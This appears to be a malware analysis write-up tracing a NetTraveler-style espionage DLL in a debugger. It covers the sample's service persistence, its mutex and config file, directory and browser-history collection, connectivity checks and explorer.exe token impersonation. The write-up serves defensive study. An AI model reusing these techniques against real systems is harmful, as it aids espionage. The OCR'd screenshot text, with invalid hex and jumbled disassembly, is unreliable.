Address Hex 00408040 4D 5A 90 00408050 B8 00 00 00408080 B1 F8 00408080 C1 F8 00408080 C2 S2 00408080 C3 E3 00408080 C3 E4 00408080 C3 E4 00408080 C4 E3 00408080 C5 E5 00408070 00 S5 00408100 S0 E4 S0 00408100 S0 45 00 00408100 S0 E4 S0 00408140 00 00 00 00408160 D8 00 00 00408160 D9 00 <td>00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td> <td>$\begin{array}{cccccccccccccccccccccccccccccccccccc$</td> <td>ASCII 00 MZÿÿ 00ð 61ð 62ð 63ð 64ð 65 75 76 76 76 76 76 76 76 77 77 78 79 70 70 70 70 71 71 72 73 74 75 7</td> <td> ▲ 0019EE54 ● 0019EE54 ● 0019EE55 ● 0019EE56 ● 0019EE56 ● 0010019E56 ● 00102809 ● 00102809 ● 00102809 ● 0019E564 ● 00000148 ● 0019E564 ● 0019E570 ● 64645120 ● 0019E574 ■ 48482220 ● 0019E574 ■ 48482230 ● 0019E574 ■ 4482230 ● 0019E574 ■ 45454948 ● 0019E580 ■ 431405F ● 0019E584 ■ 5459456 ● 0019E584 ■ 5459456 ● 0019E594 ■ 43746665 ● 0019E594 ■ 538574746665 ● 0019E594 ■ 5385747361 ● 0019E544 ■ 5385747361 ● 0019E544 ■ 55747361 ● 0019E544 ■ 55747361 ● 0019E544 ■ 55747361 ● 0019E544 ■ 55747361 ● 0019E544 </td> <td>apt.EntryPoint</td>	00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	ASCII 00 MZÿÿ 00ð 61ð 62ð 63ð 64ð 65 75 76 76 76 76 76 76 76 77 77 78 79 70 70 70 70 71 71 72 73 74 75 7	 ▲ 0019EE54 ● 0019EE54 ● 0019EE55 ● 0019EE56 ● 0019EE56 ● 0010019E56 ● 00102809 ● 00102809 ● 00102809 ● 0019E564 ● 00000148 ● 0019E564 ● 0019E570 ● 64645120 ● 0019E574 ■ 48482220 ● 0019E574 ■ 48482230 ● 0019E574 ■ 4482230 ● 0019E574 ■ 45454948 ● 0019E580 ■ 431405F ● 0019E584 ■ 5459456 ● 0019E584 ■ 5459456 ● 0019E594 ■ 43746665 ● 0019E594 ■ 538574746665 ● 0019E594 ■ 5385747361 ● 0019E544 ■ 5385747361 ● 0019E544 ■ 55747361 ● 0019E544 ■ 55747361 ● 0019E544 ■ 55747361 ● 0019E544 ■ 55747361 ● 0019E544 	apt.EntryPoint

Figure 23

It's worth mentioning that registering a DLL file as a service is a persistence mechanism. The newly created service is started using StartServiceA API and the flow of execution is passed to the DLL export function ServiceMain:

.text:00401	168C apt.ex	Dump 3	🛄 Dump 4	🛄 Dump 5 !	Watch 1	[x=] Lotal 0019FCB0 00	2765C00 0000000	
.text:00401	68C apt.ex	(E. \$100C #AOC						
eax= <advap1< th=""><th>32.Startse</th><th>PVICEAS (776</th><th>(4600)</th><th></th><th></th><th></th><th></th><th></th></advap1<>	32.Startse	PVICEAS (776	(4600)					
	¥ <	(776)						
	● 00 >● 00)40168E F)40168F F)401691 F	F D6 F 75 FC		all esi ush dwor	d ptr ss:[ebp-4]		esi:CloseServiceHandle
EIP		040168C F	F DO	C	all eax			eax:StartServiceA
	• 00 • 00	040168A 5 040168B 5	7 3	p	ush edi ush ebx			

Section II

DLL file

SHA256: ED6AD64DAD85FE11F3CC786C8DE1F5B239115B94E30420860F02E820FFC53924

One of the first steps the malware is performing is to invoke GetProcessWindowStation API which returns a handle to the current window station and then it uses OpenWindowStationA API to open the interactive window station ("Winsta0"). The process assigns the specified window station ("Winsta0") which is the only interactive window station (the service is supposed to be interactive) to the calling process using the SetProcessWindowStation function:

.text:1000	Dump 2	Ump 3	UIII Dump 4	UIII Dump 5	🛞 Watch 1	Ix=I Locals 🛛 🌮 S	truct 0087F230	1000B2D8 '	"winsta0"	
.text:1000	acre i docube									
dword ptr	1 1 1 1 1 1 1 1 1 1 1 1 1 1	0001C68 0001C70 0001C72 0001C78 astuserswit	68 <u>D8 B2 00</u> 88 F8 FF 15 <u>D8 91</u> 38 C6 chingcompati compatibility	<u>10</u> 00 10 bilityex.&Op ex.dll:\$1C72	push fas mov edi, call duc cmp eax, enWindowSta	tuserswitchingco eax and ptr ds:[<&Op esi tionA>]= <user32.< th=""><th>ompatibilityex. enWindowStation/ OpenWindowStati</th><th>100082D8 A>] onA></th><th>100082D8:"winsta0"</th><th></th></user32.<>	ompatibilityex. enWindowStation/ OpenWindowStati	100082D8 A>] onA>	100082D8:"winsta0"	

Figure 25

As in the first example the process creates a different mutex called "NetTravler Is Running!". If it exists it will exit without reinfecting the machine:

and the second data was a second data w										
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	💮 Watch 1	[x=] Locals	2 Struct	0087F230 0000000 0087F234 00000001		
dword ptr	[10009088 <1	0001C8F 00001C91 00001C92 00001C98 00001C98 00001C43 fastuserswi erswitching	6A 01 56 FF 15 88 90 A3 54 70 01 FF 15 84 90 3D 87 00 00 tchingcompati	0 00 10 10 0 00 10 0 00 10 10 10 10 10 10 10 10 10	reateMutexA>	i ord ptr ds: rd ptr ds: ord ptr ds: .B7]= <kernel32< th=""><th>[<&CreateMu 10017054], [<&GetLast</th><th>utexa>] eax error>] exA></th><th></th><th>></th></kernel32<>	[<&CreateMu 10017054], [<&GetLast	utexa>] eax error>] exA>		>
	• 1	0001C8A	68 CO B2 00	0 10	push fa	stuserswitc	hingcompati	ibilityex.1000B2C0	1000B2C0: "NetTravler Is	Running!"

Figure 26

Now it retrieves a few elements from the configuration file config_t.dat created by the first process:

WebPage, DownCmdTime, UploadRate, AutoCheck, UP and CheckedSuccess (it doesn't exist at this time, so the function returns 0). All of the values are extracted using GetPrivateProfileString and GetPrivateProfileInt APIs:

		0004EDE 0004EDF 0004EE9 0004EE9 0004EE9 0004EE8 0004EF3 0004EF4 0004F60	50 68 00 01 00 68 98 72 01 68 98 88 00 53 FF 15 A4 90 8B 3D A8 90 8D 44 24 10	000 10 10 10 00 10 00 10 00 10	push eai push 100 push fas push fas push ebi call dwc mov edi, lea eax,	tuserswitc tuserswitc tuserswitc ord ptr ds: dword ptr dword ptr	hingcompati hingcompati hingcompati [<&GetPriva ds:[<&GetPr ss:[esp+10]	bilityex.10 bilityex.10 bilityex.10 teProfileSI ivateProfil	016870 017298 0008898 ringA>] eIntA>]	<pre>eax: "C:\\WINDOWS\\system\\config_t. 1000B898: "WebPage" ebx: "Option"</pre>
.text:1000	4EF4 fastuse	rswitchingc	compatibility	ex.dll:\$4EF	4 #42F4	rilestringA	>j= <kernel3< th=""><th>2.GetPriva</th><th>Cerrotile</th><th>stringa></th></kernel3<>	2.GetPriva	Cerrotile	stringa>
Dump 1	U Dump 2	Dump 3	Ump 4	Dump 5	💮 Watch 1	[x=] Locals	2 Struct	00B7F008	1000B8A0 1000B898	"Option" "WebPage"
Address H	lex				ASCII		^	00B7F010	10017298	fastuserswitchingcompatibilityex. 10017298
0087F030 4 0087F040 6	3 3A 5C 57 4 5D 5C 63 6F 6	9 4E 44 4F E 66 69 67	57 53 5C 73 5F 74 2E 64	79 73 74 65 61 74 00 00	<pre>d:\WINDOWS\ m\config_t.</pre>	syste dat		00B7F014 00B7F018 00B7F01C	00000100 00B7F030	"C:\\WINDOWS\\system\\config_t.dat"
Figure 2	27									

 10004F04 10004F05 10004F07 10004F07 	50 6A 00 68 <u>8C B8 00 10</u> 53	push eax push 0 push fastuserswitchingcompatibilityex.1000B88C push eby	<pre>eax:"C:\\WINDOWS\\system\\config_t 1000888C:"DownCmdTime" ebx:"Dotion"</pre>
EIP 10004F0D 10004F0F	FF D7 A3 6C 68 01 10	call edi mov dword ptr ds:[1001686C],eax	edi:GetPrivateProfileIntA eax:"C:\\WINDOWS\\system\\config_t
edi= <kernel32.getprivateprofile< td=""><td>IntA> (76358FD0)</td><td></td><td></td></kernel32.getprivateprofile<>	IntA> (76358FD0)		
.text:10004F0D fastuserswitchin	gcompatibilityex.dll:\$4F	0D #430D	
Dump 1 Dump 2 Dump	3 🚛 Dump 4 🚛 Dump 5	Image: Watch 1 [x=] Locals Image: Watch 2 Image: Watch 3 Image: Wat	"Option" "DownCmdTime"
Address Hex 10016870 68 74 74 70 3A 2E 2E 7	7 77 77 25 76 69 70 60 6	ASCII 00087F018 0000000 0087F010 00087F030 00080000000000000000000000000000000	"C:\\WINDOWS\\system\\config_t.dat"
Figure 28			
10004F18 10004F19 10004F18 10004F18 10004F20 10004F21	50 6A 00 68 <u>80 88 00 10</u> 53 FF D7	push eax push 0 push fastuserswitchingcompatibilityex.1000B880 push ebx call edi	<pre>eax:"C:\\WINDOWS\\system\\config_t 1000BS80:"UploadRate" ebx:"Option" ediiGetPrivateProfileIntA</pre>
<		land de la fandande	
edi= <kernel32.getprivateprofile< td=""><td>IntA> (76358FD0)</td><td></td><td></td></kernel32.getprivateprofile<>	IntA> (76358FD0)		
.text:10004F21 fastuserswitchin	gcompatibilityex.dll:\$4F	21 #4321	1
Dump 1 Dump 2 Dump	3 💭 Dump 4 💭 Dump 5	Watch 1 [x=] Locals Struct 0087F014 10008880 * 0087F014 10008880 * 0087F014 0000800	"UploadRate"
Address Hex 10016870 68 74 74 70 34 25 25 7	7 77 77 26 76 69 70 60 6	ASCII 0087F030 0087F030 0087F030	"C:\\WINDOWS\\system\\config_t.dat"
Figure 29			
 10004F2C 10004F2D 10004F2F 10004F34 10004F39 	50 6A 00 8B <u>74 B8 00 10</u> 68 <u>68 B8 00 10</u> 53	push eax push 0 mov ebx fastuserswitchingcompatibilityex.1000B874 push fastuserswitchingcompatibilityex.1000B868 push ebx	<pre>eax:"C:\\WINDOWS\\system\\config_t ebx:"OtherTwo", 10008874:"OtherTwo 1000868:"AutoCheck" ebx:"OtherTwo"</pre>
31P 10004F44	FF D7	call edi	edi:GetPrivateProfileIntA
edi= <kernel32.getprivateprofile< td=""><td>IntA> (76358FD0)</td><td></td><td></td></kernel32.getprivateprofile<>	IntA> (76358FD0)		
.text:10004F44 fastuserswitching	gcompatibilityex.dll:\$4F	44 #4344	
Dump 1 Dump 2 Dump 3	3 💭 Dump 4 💭 Dump 5	Watch 1 x= Locals Struct 0087F010 10008874	"OtherTwo" "AutoCheck"
Address Hex		ASCII 0007F018 0000000 0087F010 0087F030	"C:\\WINDOWS\\system\\config_t.dat"
Figure 30	TITET COLLEGE THE NEW Y		
■ 10004F55 ■ 10004F55 ■ 10004F58 ■ 10004F58 ■ 10004F58 ■ 10004F58 ■ 10004F59 ■ 10004F50	50 6A 00 68 <u>58 B8 00 10</u> 53 FF D7 48	push eax push 0 push fastuserswitchingcompatibilityex.1000B858 push ebx call edi dec eax	<pre>eax:"C:\\WINDOWS\\system\\config_t 1000B858:"CheckedSuccess" ebx:"OtherTwo" edi:GetPrivateProfileIntA eax:"C:\\WINDOWS\\system\\config_t</pre>
edi= <kernel32.getprivateprofile< td=""><td>IntA> (76358FD0)</td><td></td><td>,</td></kernel32.getprivateprofile<>	IntA> (76358FD0)		,
.text:10004F5E fastuserswitchin	gcompatibilityex.dll:\$4F	5E #435E	
U Dump 1 U Dump 2 U Dump 3	3 100 Dump 4 100 Dump 5	6 Watch 1 [x=] Locals Struct 0087F010 10008874	"OtherTwo"
Address Hex		ASCII 00087F018 00000000 0087F012 00087F030 "	<pre>"C:\\WINDOWS\\svstem\\config_t.dat"</pre>
Figure 31	7177 77 36 76160 78 68 6		
 100025C0 100025C1 100025C3 100025C3 100025C8 	50 6A 00 68 <u>6C B3 00 10</u> 56	push eax push 0 push fastuserswitchingcompatibilityex.1000B36C push esi	<pre>eax:"C:\\WINDOWS\\system\\config_t 1000B36C:"UP" esi:"0ther"</pre>
EIP 10002559 100025CF 100025D1	FF 15 <u>A8 90 00 10</u> 6A 01 59	<pre>call dword ptr ds:[<&GetPrivateProfileIntA>] push 1 pop ecx</pre>	
dword ptr [100090A8 <fastusersw< td=""><td>itchingcompatibilityex.&</td><td>GetPrivateProfileIntA>]=<kernel32.getprivateprofileinta< td=""><td>6</td></kernel32.getprivateprofileinta<></td></fastusersw<>	itchingcompatibilityex.&	GetPrivateProfileIntA>]= <kernel32.getprivateprofileinta< td=""><td>6</td></kernel32.getprivateprofileinta<>	6
.text:100025C9 fastuserswitchin	gcompatibilityex.dll:\$25	C9 #19C9	
Address Hex	3 💭 Dump 4 💭 Dump 5	Image: Watch 1 Ix= Locals Struct 0087EED4 10008300 0087EFD8 1000836C 0087EFD8 00087EFD8 00087EFD8 <th< td=""><td>"Other" "UP" "C:\\WINDOWS\\system\\config t dat"</td></th<>	"Other" "UP" "C:\\WINDOWS\\system\\config t dat"
0087E030 48 34 50 57 49 4F 44 4	E 57 52 50 73 79 72 74 6	S E+\WINDOWS\syste	c. ((minuows)(system)(config_t.dat"

Because we're running the DLL using an executable used by x32dbg to debug the DLL files, the process name is similar to "DLLLoader32_58D1.exe" (in our case). The malicious process creates a .log file which has the same name as the executable ("DLLLoader32_58D1.log"):



The file enumerates the directories from "C:\Program File (x86)" and the output is copied to the newly created file:

🔚 DLLL	oader32_58D1.log 🔀									
1	10-Strike Network File Search Pro\									
2	Adobe									
3	AllowBlock									
4	Any Sound Recorder\									
5	Application Verifier\									
6	AudioCoder\									
7	Common Files\									
8	desktop.ini									
9	Detect It Easy\									
10	Dev-Cpp\									
11	DeviceViewer\									
12	DICOMviewer demo\									
13	Disk Pulse Enterprise\									
14	DiskBoss									
15	DiskBoss Enterprise\									
16	docPrint Pro v8.0\	Figure 34								
17	Dup Scout Enterprise\	i iguio o i								
18	Easy Video to iPod Converter\									
19	Easy Video to PSP Converter\									
20	Easy WMV ASF ASX to DVD Burner\									
21	Entity Framework Tools\									
22	ExeinfoPe									
23	Faleemi \									
24	Fladler2									
25	Flash Slidesnow Maker Professional (
20	Free MP3 CD Kipper(
20	Coorde									
20	Google(
29	Graphvizz.so(
31	Immunity Inc)									
32	Immorte Fiver									
33	InstallShield Installation Information									
34	Internet Explorer\									
01	Inocinco Explorer (

RegOpenKeyExA API is used to open

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" registry key and the "History" value is extracted from it using RegQueryValueEx. The content of "History" value is "C:\Users\<Username>\AppData\Local\Microsoft\Windows\History":



Figure 35

The malware is looking for a file called "C:\Users\

<Username>\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat" which contains Internet browsing history activity, including Internet based searches and opened files:

E TP	* 1 * 1 * 1 * 1 * 1	00011F9 00011FA 00011FF 0001201 0001202 0001204 0001209 0001209	57 68 80 00 00 6A 03 57 6A 03 68 00 00 00 FF 74 24 20 FF 74 24 20	00 80	push ed push 80 push 3 push 40 push 3 push 80 push 40	n n n n n n n n n n n n n n n n n n n	esp+2C	FileArl							X87TW_6 3 (Empty) x87StatusWord 0000 x87SW_8 0 x87SW_C: x87SW_C1 0 x87SW_C2: x87SW_S5 0 x87SW_P
dword ptr [.text:10001	1000904C <f< td=""><td>astuserswit</td><td>chingcompati ompatibility</td><td>bilityex.&Cr ex.dll:\$1200</td><td>reateFileA>]</td><td>]=<kernel32.< td=""><td>CreateFil</td><td>eA></td><td></td><td></td><td></td><td></td><td></td><td>></td><td>Default (stdcall) 1: [esp] 0087C0F8 "C 2: [esp+4] 8000000 3: [esp+8] 0000003 4: [esp+C] 0000000 5: [esp+10] 00000003</td></kernel32.<></td></f<>	astuserswit	chingcompati ompatibility	bilityex.&Cr ex.dll:\$1200	reateFileA>]]= <kernel32.< td=""><td>CreateFil</td><td>eA></td><td></td><td></td><td></td><td></td><td></td><td>></td><td>Default (stdcall) 1: [esp] 0087C0F8 "C 2: [esp+4] 8000000 3: [esp+8] 0000003 4: [esp+C] 0000000 5: [esp+10] 00000003</td></kernel32.<>	CreateFil	eA>						>	Default (stdcall) 1: [esp] 0087C0F8 "C 2: [esp+4] 8000000 3: [esp+8] 0000003 4: [esp+C] 0000000 5: [esp+10] 00000003
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	🛞 Watdi 1	0087C088 0087C08C	0087C0F8 80000000	"C:\\Users\	AppData	a\\Local\	Micros	oft\\Windo	ows\\History	/\\His	tory.IE5\\index.dat"
Address He 0087C0F8 43 0087C108 44 0087C118 73 0087C118 73	X 3A 5C 55 7 61 74 61 5 6F 66 74 5	3 65 72 73 C 4C 6F 63 C 57 69 6E	5C 61 6C 5C 4D 64 6F 77 73	69 63 72 6F 5C 48 69 73	ASCII C:\Users\ Data\Loca soft\Winc	0087C0C0 0087C0C4 0087C0C8 0087C0CC 0087C0CC 0087C0D0	00000003 00000000 00000003 00000080 00000080								

The process extracts "Version" value from

"HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer" using RegQueryValueEx function:

100071E3 100071E4 100071E4 100071E7 100071E7 100071F7 100071F7 100071F7 100071F7 100071F7 10007203 10007203 10007203 10007204 10007204 10007204 10007204 10007204 10007204 10007204 10007202 10007214 10007214 10007214 1000722 10007214 1000722 1000722 1000722 1000722 1000722 1000722 1000722	50 6A 01 53 68 <u>58 BF 00 10</u> 68 02 00 00 80 FF 15 <u>08 90 00 10</u> 75 70 6A 40 8D BD F1 FD FF FF 53 BD F0 FD FF FF F3 AB 66 AB AA 8D 45 F8 C7 45 F8 04 01 00 00 50 8D 85 F0 FD FF FF 53 68 <u>50 BE 00 10</u>	<pre>push eax push i push ebx push fatuserswitchingcompatibilityex.10008E58 push 80000002 call dword ptr ds:[<&RegOpenKeyEXA>] test eax,eax jme fastuserswitchingcompatibilityex.10007278 push 40 lea edi,dword ptr ss:[ebp-20F] pop ecx mov byte ptr ss:[ebp-20F] pop ecx stosb lea eax,dword ptr ss:[ebp-8] mov dword ptr ss:[ebp-8] lea eax,dword ptr ss:[ebp-8] push eax push ebx push ebx push ebx push ebx push ebx</pre>	1000BE58:"Software\\Microsoft\\Inte
 10007228 10007228 	FF 15 04 90 00 10	call dword ptr ds: [<&RegOuervValueExA>]	
• 10007231	85 C0	test eax,eax	
<pre></pre>			>
dword ptr [10009004 <fastuser< td=""> .text:10007228 fastuserswitch ### Dump 1 ### Dump 2 Address Hex 0087F120 49 45 B0 E6 B1 BE 3A</fastuser<>	switchingcompatibilityex.4Reg ingcompatibilityex.dll:\$7228 np 3 Ump 4 Ump 5 A 20 49 6E 74 65 72 6E 65 74	QueryValueExA>]= <advapi32.regqueryvalueexa> #6628 Watch 1 x=Locals > 0087F000 80000002 OB7F004 10008E58 "Software\\ OB7F005 0000000 OB7F005 0000000 OB7F005 0000000 OB7F000 0000000 OB7F000 0000000</advapi32.regqueryvalueexa>	Microsoft\\Internet Explorer"

Figure 37

Window 10's Internet Explorer is Build 916299, Version 9.11.16299.0 as shown in the figure below:



Figure 38

The following information is appended to the .log file: IE History is empty because that file is missing on Windows 10 and the IE version (note that "version" word is written in Chinese language "版本"):

74	
75	///////////////////////////////////////
76	
77	
78	IE History:
79	Figure 39
80	3
81	///////////////////////////////////////
82	
83	IE版本: Internet Explorer 9.11.16299.0
84	

GetVersionExA function is utilized to find the current operating system. The recognized versions are: Microsoft Windows 7, Microsoft Windows Vista, Microsoft Windows 2003, Microsoft Windows 2000, Microsoft Windows XP and Microsoft Windows NT:



.text:10006EC1 fastuserswitchingcompatibilityex.dll:\$6EC1 #62C1

Ump	1	-	Du	mp 2			Dum	р3			Dump	94	ų	D	ump	5	💮 Watch 1	[x=] Locals	۲	00B7EF30 00B7EF34	00000150
Address 10008870 10008880 10008890 10008840 10008880 10008860	He 4F 74 6F 73 74 4D 72	70 20 73 74 20 69	74 57 6F 61 57 63	69 69 66 20 69 72	6F 6E 74 00 6E 6F	6E 64 20 00 64 73	73 6F 57 00 6F 6F	00 77 69 00 77 66	4D 73 6E 4D 73 74	69 37 64 20 20	63 20 6F 63 32 57	72 00 77 72 30 69	6F 4D 73 6F 30 6E	73 69 20 73 33 64 72	6F 63 56 6F 20 6F	66 72 69 66 00 77	ASCII Options.Micr t Windows7 osoft Window staMicr t Windows 20 Microsoft W c XP Micr	rosof Micr ws Vi rosof 003 . indow	^	0087EF34 0087EF38 0087EF30 0087EF40 0087EF44 0087EF48 0087EF48 0087EF40 0087EF50 0087EF54	00000000 0000000 0000000 0000000 000000
1000BBE0 1000BBE0 1000BBF0	74 4D 73	20 69 20	57 63 4E	69 72	GE GF	64 73	6F 6F	77	73 74 82	20 20	32 57	30 69	30 6E	30 64	20 6F	00 77 83	t Windows 20 Microsoft W	indow		0087EF58 0087EF5C 0087EF60	00000000 00000000 00000000

Figure 40

It also extracts the "ProductType" value from

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions" registry key. On our system the value is equal to "WinNT":



The following string is appended to the .log file: "操作系统版本" translates to "Operating system version":



The user agent used in the network communications is always set to "Mozilla/4.0 (compatible; MSIE 6.0)". There is also an Accept request HTTP header as shown below:

	10001A5F 10001A61 53 10001A62 10001A62 64 01 10001A64 68 F4 <u>81</u> 10001A69 155 <u>64</u> 01 10001A69 155 <u>65</u> 10001A71 10001A71 89 45 E8 10001A74 V 0F 84 AD	00 10 push el 00 10 push el 92 00 10 push f 92 00 10 call d 00 10 00 00 je fas	bx bx astuserswitchingco word ptr ds:[<∬ x,ebx ord ptr ss:[ebp-18] tuserswitchingcomp	mpatibilityex.10 ernetOpenA>]],eax atibilityex.1000	0081F4 10 1C27 [e	0081F4:"Mozilla/4.0 (compat op-18]:"REM"	ible;
ecx=00B7E83F .text:10001A5D fastu	serswitchingcompatibili	tyex.dll:\$1A5D #E5D	IX=I Locals	75755 00875798	Accept: image/gi	f, image/x-xbitmap, image/j f image/x-xbitmap, image/j	peg,
Address Hex OD87E798 41 63 63 65 OD87E788 66 22 05 OD87E788 66 22 05 OD87E788 66 22 05 OD87E788 66 26 63 61 OD87E708 6C 69 63 61 OD87E708 6C 69 63 61 OD87E780 3A 20 65 65 OD87E808 3A 20 65 65 OD87E828 41 6C 69 74 OD87E828 41 6C 69 74 OD87E828 41 6C 69 74	170 74 3A 20 69 60 61 67 52 77 82 07 06 61 67 65 25 78 20 7 20 69 60 61 67 62 7 82 07 7 69 60 61 67 78 20 7 69 60 61 67 66 7 20 66 66 67 78 20 7 69 66 66 17 78 69 66 20 73 73 00 04 50 72 61 66 67 72 73 00 0A 50 72 61 67 66 72 61 67 60 72 61 67 60 72 61 67 65 70 72 61 67 60 72 61 67 65 70 65 60 72	ASCII 7 65 2F 67 69 Accept: image/ 8 26 67 40 f, image/ image/ 0 65 67 20 ap, image/ image/ 0 26 67 20 ap, image/ image/ 0 24 24 00 wave-flast image/ 0 24 24 00 wave-flast image/ 7 51 65 76 sccept-last image/ 7 51 76 54 ccept-last image/ 7 51 76 54 ccept-last image/ 6 57 70 20 and image/ image/ 7 51 65 57 20 one-cept-last image/ image/ <t< td=""><td>age/g1 008 age/g1 008 (jpeg, 008 ijpeg, 008 ijpeg, 008 ijpeg, 008 ijpeg, 008 ishock 008 irroxy-C 008 irro</td><td>2730 00000150 72790 000000150 72794 00000011 72796 65365341 72730 67616069 72740 67616069 72744 69672765 72746 65676160 72748 62022666 72748 60746962 72784 60746962 72788 607616069 72780 67616069</td><td>Accept: Image/gi</td><th>, image/x-xortmap, image/j</th><td>heð.</td></t<>	age/g1 008 age/g1 008 (jpeg, 008 ijpeg, 008 ijpeg, 008 ijpeg, 008 ijpeg, 008 ishock 008 irroxy-C 008 irro	2730 00000150 72790 000000150 72794 00000011 72796 65365341 72730 67616069 72740 67616069 72744 69672765 72746 65676160 72748 62022666 72748 60746962 72784 60746962 72788 607616069 72780 67616069	Accept: Image/gi	, image/x-xortmap, image/j	heð.

Figure 43

The process tries to connect to http://www.microsoft.com/info/privacy_security.htm (this URL used to be available in the past) in order to verify if there is an internet connection. The HTTP request is shown in figure 44:

EIP	push ebx push 80400100 push ebx push ebx push ebx push fastuserswitchingcompatibilityex.1000B1E1 push dword ptr ss:[ebp-14] call dword ptr ds:[<&HttpOpenRequestA>]	eax:"/info/privacy_security.htm" 1000B1E8:"GET"
<pre>dword ptr [ebp+8]=[00B7F110 &"http://www.microsoft.com/il eax=00B7EFA8 "/info/privacy_security.htm"</pre>	fo/privacy_security.htm"]=1001718C "http://www.micr	osoft.com/info/privacy_security.htm"
.text:10001AD2 fastuserswitchingcompatibilityex.dll:\$1AD	#ED 2	
Ump 1 Ump 2 Ump 3 Ump 4 Ump 5	Image: Watch 1 Image: Image: Watch 1 Image: Image: Watch 1 Image: Image: Watch 1 Image: Watch 1 <td></td>	
Address Hex	ASCII 00B7E774 00B7EFA8 "/info/p	rivacy_security.htm"
1001718C 68 74 74 70 3A 2F 2F 77 77 77 2E 6D 69 63 72 6F	http://www.micro 008/E/78 00000000	
1001719C 73 GF 66 74 2E 63 GF 6D 2F 69 6E 66 GF 2F 70 72	soft.com/info/pr 00B7E780 00000000	
1001/1AC 69 /6 61 63 /9 5F /3 65 63 /5 /2 69 /4 /9 2E 68	1Vacy_security.n 00B7E784 80400100	
	00B7E788 00000000	
Figure 44		

Figure 44

If the connection is successful the following strings will be added at the end of the .log file:



Furthermore UP (use proxy indicator) is set to 0 and it adds a value called CheckedSuccess (set to 1) to config_t.dat using WritePrivateProfileStringA API:

ETP		10007382 10007383 10007388 10007380 10007392	50 68 <u>30 B3</u> 68 <u>6C B3</u> 68 <u>D0 B3</u> FF 15 A0	00 10 00 10 00 10 90 00 10	push push push push call	ax astusersw astusersw astusersw word ptr	itchingcompa itchingcompa itchingcompa ds:[<&writeP	ibilityex ibilityex ibilityex ivateProf	<pre><.1000B330 <.1000B36C <.1000B36C <.1000B3D0 fileStringA>]</pre>		eax:"C:\\WINDOWS\\system\\c 1000B36C:"UP" 1000B3D0:"Other"
	•	<			11						>
dword ptr	[100090A0 <1	fastuserswit erswitchingc	chingcompati ompatibility	bilityex.&W	ritePrivateP 2 #6792	rofileStri	ngA>]= <kerne< th=""><th>132.Write</th><th>PrivateProfileS</th><th>tringA></th><th></th></kerne<>	132.Write	PrivateProfileS	tringA>	
Ump 1	Dump 2	Dump 3	Dump 4	Dump 5	👹 Watch 1	[x=] Locals	0087F014	1000B3D0	"Other"		
Address 10008330	Hex 30 00 00 00 00	31 30 00 00 100073D7 100073D8 100073D0 100073E2 100073E7	50 46 00 00 50 68 <u>50 83</u> 68 <u>58 88</u> 68 <u>74 88</u> FF 15 <u>A0</u>	50 57 00 00 00 10 00 10 00 10 90 00 10	ASCII D10PF. push f push f push f push f	.PW ax astusersw astusersw astusersw word ptr	OOB7F01C O087F020 O087F020 itchingcompatitchingcompatitchingcompatitchingcompatitchingcompatitchingcompatits: [<&writeProvide compatiton of the second	1000B330 00B7F024 ibilityex ibilityex ibilityex ivateProf	Tastuserswitch "C:\\WINDOWS\\ 0.1000B350 0.1000B858 0.1000B874 "ilestringA>]	ingcompatibilityex.l system\\config_t.dat	eax:"C:\\WINDOWS\\system\\ci looo8858:"CheckedSuccess" looo8854:"OtherTwo"
		<									>
dword ptr .text:1000	[100090A0 <f 073E7 fastuse Dump 2</f 	astuserswit erswitchingco	ompatibility	ex.dll:\$73E	ritePrivateP 7 #67E7 Watch 1	x=]Locals	ngA>]= <kerne< td=""><td>32.WriteF 10008874 10008858</td><td>"OtherTwo" "CheckedSucces</td><td>s"</td><td></td></kerne<>	32.WriteF 10008874 10008858	"OtherTwo" "CheckedSucces	s"	
Address 1 1000B350	Hex 31 00 00 00 2	25 73 5C 73	79 73 74 65	6D 5C 63 6F	ASCII 1%s\svst	em\co	0087F024 0087F028	1000B350 00B7F02C	fastuserswitch "C:\\WINDOWS\\	ingcompatibilityex.10 system\\config_t.dat"	0008350

Now, if the connection was unsuccessful , an "Method1 Fail!!!!!" message is written to

DLLLoader32_58D1.log. Process32First and Process32Next functions are used to find "EXPLORER.exe" process and then the process tries to open it using OpenProcess API:



Figure 47

Basically the attacker's purpose is to steal "explorer.exe" process' token by calling OpenProcessToken in order to open the access token associated with "explorer.exe" and then it uses ImpersonateLoggedOnUser function to impersonate the security context of a user. The function calls are displayed in figure 48 and figure 49, respectively.



Figure 49

The process is using RegOpenKeyExA to open

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" registry key and then it extracts "ProxyEnable" value to see if the computer uses a proxy server:

30	 10006180 10006181 10006185 10006185 10006185 10006127 10006124 10006124 10006125 1006125 1006125<th>50 65 19 00 02 00 57 50 BD 00 10 66 01 00 00 80 FF 15 08 90 10 80 45 F4 C7 45 F4 04 00 00 00 80 45 EC 50 57 78 80 04 90 00 10 68 44 BD 00 10</th><th><pre>push eax push exi push edi push fastuserswitchingcompatibilityex.1000ED50 push fastuserswitchingcompatibilityex.1000ED50 push fastuserswitchingcompatibilityex.1000ED50 lea eax,dword ptr ss:[ebp-C], push eax push edi push edi push edi push edi push fastuserswitchingcompatibilityex.1000ED44</pre></th><th>1000BD50:"Software\\Microsoft\\Windows\\Cu 1000BD44:"ProxyEnable"</th>	50 65 19 00 02 00 57 50 BD 00 10 66 01 00 00 80 FF 15 08 90 10 80 45 F4 C7 45 F4 04 00 00 00 80 45 EC 50 57 78 80 04 90 00 10 68 44 BD 00 10	<pre>push eax push exi push edi push fastuserswitchingcompatibilityex.1000ED50 push fastuserswitchingcompatibilityex.1000ED50 push fastuserswitchingcompatibilityex.1000ED50 lea eax,dword ptr ss:[ebp-C], push eax push edi push edi push edi push edi push fastuserswitchingcompatibilityex.1000ED44</pre>	1000BD50:"Software\\Microsoft\\Windows\\Cu 1000BD44:"ProxyEnable"
	• 100061E6	FF D7	call edi	
